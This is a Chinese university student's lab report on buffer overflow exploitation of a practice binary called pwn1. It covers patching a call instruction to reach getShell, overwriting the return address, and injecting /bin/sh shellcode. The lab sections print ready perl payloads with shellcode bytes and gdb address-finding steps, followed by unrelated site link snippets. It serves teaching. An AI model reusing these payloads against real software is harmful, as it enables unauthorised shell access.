20232310 2025-2026-1 《网络与系统攻防技术》 实验一实验报告

news/2025/10/12 13:56:01/文章来源:https://www.cnblogs.com/xyd11/p/19136573

一、实验目的

篡改程序流程——直接修改可执行文件,跳转至getShell;
栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

二、基础知识

1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.反汇编

(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程
(2)在本次实验中,我们在Linux环境下使用objdump反汇编工具对pwn1文件进行反汇编
(3)反汇编指令objdump -d <文件名>

3.十六进制编辑器

(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式
(3)%!xxd -r 切换回原模式

三、实验过程

1.直接修改程序机器指令,改变程序执行流程

我先登录root账户,后修改主机名为203232310

再通过共享文件夹将pwn1文件传输到虚拟机,并修改名字为pwn20232310。

image

运行一下,回显正常。

image

开始反汇编,输入

 objdump -d pwn20232310 | more

image

image

此时需将call foo修改为call getShell,即把地址8048491替换为getShell的入口地址804847d。
Call指令的跳转原理是相对跳转,即EIP+偏移量=当前命令地址。

计算偏移量:804847d(getShell) - 80484ba = -61,其补码表示为0xffffff3c。

由于x86架构采用小端存储,将机器码中的0xd7ffffff修改为0xc3ffffff,即可实现跳转至getShell函数。

复制为pwn20232310_2。

修改文件pwn20232310_2,使用%!xxd进入十六进制编辑器,找到e8d7ffffff改为e8c3ffffff。(在04b0行)
image

修改后,再看,跳转至getshell

image

执行pwn20232310_2,成功执行命令,说明修改成功,执行了getShell。

image

2.通过构造输入参数,造成BOF攻击,改变程序执行流

同样,反汇编

objdump -d pwn20232310 | more

发现这个foo函数只预留28(0x1c)字节的缓冲区来读取字符串,因此存在缓冲区溢出(Bof)漏洞。

image

我要执行getShell,所以需要用其起始地址来覆盖返回地址,即804847d。因为在程序中函数的调用使用堆栈的形式,在输入的缓冲区上方是4字节的foo函数返回,更上方才是4字节main函数返回,所以应该输入28+4+4=36个数字其中最后4个数字的16进制为\x7d\x84\x04\x08。

使用 gdb 调试程序,输入测试字符串 1111111122222222333333334444444412345678,然后执行 info r查看寄存器状态,发现 EIP(存储下一条指令地址的寄存器)被覆盖为 0x34333231(即字符串 "1234" 的 ASCII 码)
image

通过反汇编已知 getShell 函数的入口地址为 0x0804847d。因此,只需将字符串末尾的 "1234" 替换为该地址的字节表示,即可让程序在返回时跳转至 getShell。为了利用缓冲区溢出漏洞,我们需要将返回地址覆盖为getShell函数的地址0x0804847d。

也就是11111111222222223333333344444444\x7d\x84\x04\x08

输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

然后然后将input的输入,通过管道符“|”,作为pwn20232310的输入。

成功!

image

3.注入Shellcode并执行

以nops+shellcode+retaddr为结果构造shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开一个终端注入这段攻击buf:

image

再开另外一个终端,找到这个进程

image

gdb来调试pwn1这个进程。通过设置断点,来查看注入buf的内存地址

image

看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd020。
image

重新编写shellcode,结构为:anything+retaddr+nops+shellcode。

perl -e 'print "A" x 32;print "\x20\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

image

成功了!!

三、问题及解决方案

  • 问题1:发现无论如何都下载不了execstack,提示 "ERROR 404: Not Found",无法获取工具;群里的下载链接已失效,学习通的prelink源码下载到虚拟机后编译也出现报错;

  • 问题1解决方案:

    但是使用readelf -l pwn4 | grep -A1 GNU_STACK

    验证pwn文件的栈是rwe,显示可被执行。直接往下做,发现没有任何问题。说明execstack不是必要的。

  • 问题2:开始的时候盲目跟着指导书做,shellcode注入一直失败,"zsh: segmentation fault ./pwnzxy",程序崩溃

  • 问题2解决方案:
    后来发现是每台电脑每次启动后,内部地址都可能发生变化,导致返回地址覆盖位置错误,根据自己电脑的详细地址去编写注入语句就可以解决问题。

  • 问题3:对于gdb和汇编极其不熟练,刚开始看的头皮发麻

  • 问题3解决方案:

    对着指导书一步步做,疯狂问ai,刨根究底,才总算学明白了。

    4.学习感悟、思考等

    之前学习了一点点的ctf知识,根本学不明白,然后就基本处于放弃的姿态。这次的实验让我感受很深,原来只是一个缓冲区溢出就有这么多门道和攻击方法,让我大开眼界。之前学编程只知道get函数容易溢出,fget比较安全,却不知道其中的真正原理。这样的实操下,我对于gdb、栈、溢出等知识的研究大大深入了。对于汇编的理解也大大加深了,感觉很有意思,期待更加深入的学习。这次实验做了很久,出现了许多问题,最终顺利解决,但通过这些问题,我对知识的理解更加深入,大大激发我学习的兴趣。我一定会努力学习网络攻防的技能,成为一个更强的"ctfer"。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935401.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年CNC高压清洗机订做厂家权威推荐榜:技术实力与定制

2025年CNC高压清洗机订做厂家权威推荐榜:技术实力与定制在制造业智能化转型的浪潮中,CNC高压清洗机作为精密加工环节的关键设备,正发挥着不可替代的作用。这类设备不仅能有效清除CNC加工过程中产生的切削液、油污和…

K8s学习笔记(八) K8s资源对象 - 教程

K8s学习笔记(八) K8s资源对象 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monac…

小分子抗体药物:突破传统抗体瓶颈,在精准治疗中开辟新赛道

在治疗性抗体药物的大家族中,全长单克隆抗体(IgG,分子量约 150kDa)虽凭借高特异性、长半衰期占据主流,但面对实体瘤深层治疗、中枢神经系统疾病等复杂场景,其分子量大、组织穿透性差的问题逐渐凸显。而小分子抗体…

python nms

https://cloud.tencent.com/developer/article/2151436

2025年PE涂布机定做厂家权威推荐榜:技术实力与定制服务深

2025年PE涂布机定做厂家权威推荐榜:技术实力与定制服务深度解析在新能源、电子元器件、包装材料等行业高速发展的推动下,PE涂布机作为关键生产设备,其市场需求持续攀升。随着工艺要求的不断提高,企业对PE涂布机定做…

OI 笑传 #18

Septembersan今天是 ABC 427 的 DEF。 D 博弈,套路的设状态,令 \(dp_{i,k_1,k_2,op}\) 表示棋子在点 \(i\),Alice 还剩 \(k_1\) 步可以走,Bob 还剩 \(k_2\) 步可以走,现在拿棋子的是 \(op\),\(0\) 是 Alice,\(…

深入解析:开源的容器化平台:Docker

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

MiniExcel开源资料

MiniExcel开源资料MiniExcel开发文档

2025加药装置厂家权威推荐榜:精准计量与稳定运行优选指南

2025加药装置厂家权威推荐榜:精准计量与稳定运行优选指南在工业水处理、石油化工、电力能源等关键领域,加药装置作为流程工业中不可或缺的配套设备,其计量精度与运行稳定性直接影响生产效率和环保达标。随着2025年环…

Linux文本搜索工具grep命令使用

grep 是一个强大的文本搜索工具,广泛用于Unix和类Unix系统中,用于搜索包含指定模式的文本行。它由Ken Thompson编写,作为UNIX操作系统的一部分。其名称来源于ed命令 g/re/p(全局正则表达式打印)。以下是对 grep 命…

一款基于 .NET 开源免费、高效且用户友好文件搜索工具!

前言 无论是工作中的项目文档,还是学习中的研究资料,高效地管理和搜索这些文件成为了我们提升工作效率的关键。今天大姚给大家分享一款基于 .NET 开源免费(MIT license)、高效且用户友好的文件搜索工具,旨在帮助您…

2025上海保洁公司最新权威推荐榜:专业服务与用户口碑深度解

2025上海保洁公司最新权威推荐榜:专业服务与用户口碑深度解析在现代化都市运营体系中,专业保洁服务已成为企业高效运转和品质形象维护的重要保障。上海作为国际化大都市,保洁服务市场需求持续增长,服务品质参差不齐…

心得体会

不要美化你未走过的路

DedeCMS命令执行复现研究 | CVE-2025-6335 - 指南

DedeCMS命令执行复现&研究 | CVE-2025-6335 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&q…

2025视频拍摄厂家最新权威推荐榜:专业设备与创意方案首选

2025视频拍摄厂家最新权威推荐榜:专业设备与创意方案首选在数字化浪潮席卷各行各业的今天,视频内容已成为企业宣传、产品推广、品牌塑造的重要载体。随着5G技术的普及和人工智能的发展,视频拍摄行业正迎来前所未有的…

算法训练.16 - 实践

算法训练.16 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "C…

Java连接MySQL数据库

环境准备安装Java开发工具包 (JDK) : 确保你的系统已安装JDK,并配置了环境变量,以便能够在命令行中运行 java和 javac命令。 安装MySQL数据库: 在你的系统上安装MySQL服务器,并确保它正在运行。创建一个数据库以及一…

Git版本控制工具合并分支merge命令操作流程

在Git中合并分支是一个常见的操作,它允许你将一个分支的更改合并到另一个分支中。以下是使用 merge命令进行分支合并的详细步骤和最佳实践。 准备工作 在开始之前,确保你已经安装了Git,并且有一个本地仓库。此外,确…

第七章 手写数字识别(终)

将前文的代码解耦为三个部分:定义的类和函数的nn_core.py 模型训练和测试集验证并保存最优模型的main_train.py 验收 (自定义图片预测)的脚本predict.py至此,手写数字识别的NLP任务完全结束,至于更多的优化目前我不…

2025年AI内容安全产品选型指南:为何需要专业的AI安全围栏(AI-FOCUS团队鉴冰AI FENCE)?

2025年AI内容安全产品选型指南:为何需要专业的AI安全围栏(AI-FOCUS团队鉴冰AI FENCE)?随着企业大规模应用AI对话服务(如智能客服、知识库问答、营销机器人等),内容安全风险日益凸显。传统Web应用防火墙(WAF)主…